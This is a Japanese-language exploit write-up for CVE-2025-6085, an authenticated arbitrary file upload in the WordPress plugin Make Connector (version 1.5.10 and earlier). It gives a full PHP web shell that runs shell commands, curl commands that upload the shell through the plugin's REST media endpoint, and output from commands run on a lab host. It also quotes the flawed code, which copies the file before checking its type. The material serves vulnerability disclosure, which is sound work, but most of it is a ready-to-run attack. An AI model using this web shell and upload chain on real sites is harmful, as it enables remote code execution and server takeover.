Make Connector <= 1.5.10 - 認証済み（管理者以上）任意ファイルアップロード

Make Connector プラグインは REST API のメディアアップロードにおいてファイルタイプをサニタイズしないため、管理者以上の権限を持つユーザーが任意のファイルをアップロードし、サーバー上でコード実行を獲得できる可能性があります。

TL;DR エクスプロイト

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \
  -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \

アップロードフォルダに配置されたシェルを利用します：

curl -k https://lab1.hacker/wp-content/uploads/2025/04/shello.php\?cmd\=ip%20addr         

<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 67461sec preferred_lft 67461sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86201sec preferred_lft 14201sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

詳細

/wp-content/integromat-connector/class/class-rest-request.php ファイルの dispatch() 関数は、24行目で self::upload_media(); を呼び出します。この upload_media() 関数は、許可された MIME タイプをチェックする前に、アップロードされたファイルをブラウズ可能なディレクトリへコピーします（74行目の copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );）。MIME タイプのチェックは 90〜95行目で行われます。

class-rest-reques.php から抽出した脆弱性のあるスニペット：

66	                if ( (int) $_FILES['file']['size'] === 0 ) {
67	                        Rest_Response::render_error( 500, 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'rest_upload_unknown_error' );
68	                }

69	                if ( (int) $_FILES['file']['error'] > 0 ) {
70	                        Rest_Response::render_error( 500, 'An error has occured when uploading file to the server.', 'rest_upload_unknown_error' );
71	                }

72	                copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );

73	                $title       = isset( $_REQUEST['title'] ) ? sanitize_title( $_REQUEST['title'] ) : '';
74	                $description = isset( $_REQUEST['description'] ) ? sanitize_text_field( $_REQUEST['description'] ) : '';
75	                $caption     = isset( $_REQUEST['caption'] ) ? sanitize_text_field( $_REQUEST['caption'] ) : '';
76	                $alt_text    = isset( $_REQUEST['alt_text'] ) ? sanitize_text_field( $_REQUEST['alt_text'] ) : '';
77	                $post_id     = isset( $_REQUEST['post'] ) ? (int) $_REQUEST['post'] : '';

78	                $upload_dir = wp_upload_dir();
79	                $filename   = basename( $media_file_source );
80	                if ( wp_mkdir_p( $upload_dir['path'] ) ) {
81	                        $file = $upload_dir['path'] . '/' . $filename;
82	                } else {
83	                        $file = $upload_dir['basedir'] . '/' . $filename;
84	                }

85	                $wp_file_type  = wp_check_filetype( $filename, null );
86	                $allowed_types = get_allowed_mime_types();

87	                if ( ! in_array( $wp_file_type['type'], $allowed_types ) ) {
88	                        Rest_Response::render_error( 500, 'Sorry, this file type is not permitted for security reasons.', 'rest_upload_unknown_error' );
89	                }

手動再現手順

管理パネルにログインし、Make プラグインの設定に移動して、API キーをコピーします。
簡易的なウェブシェルを作成するか、お持ちのものを使用しても構いません：

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

以下の curl コマンドを実行して、プラグインのメディア REST エンドポイントにリクエストを送信します。

curl -k -X POST \
  https://VICTIMURLHERE/wp-json/wp/v2/media \
  -H "IWC-API-KEY: cjusksft1dwcoq43lyy6a6lf9tb6qc63" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \
  -F "alt_text=Hacker Alt Text"

以下のような JSON レスポンスが返りますが、ファイルはすでに移動済みなので問題ありません :)

{
    "code": "rest_upload_unknown_error",
    "message": "Sorry, this file type is not permitted for security reasons.",
    "data": {
        "status": 500
    }
}

https://lab1.hacker/wp-content/uploads/2025/04/shello.php?cmd=ip%20addr にあるウェブシェルにアクセスします。

CVE-2025-6085

人気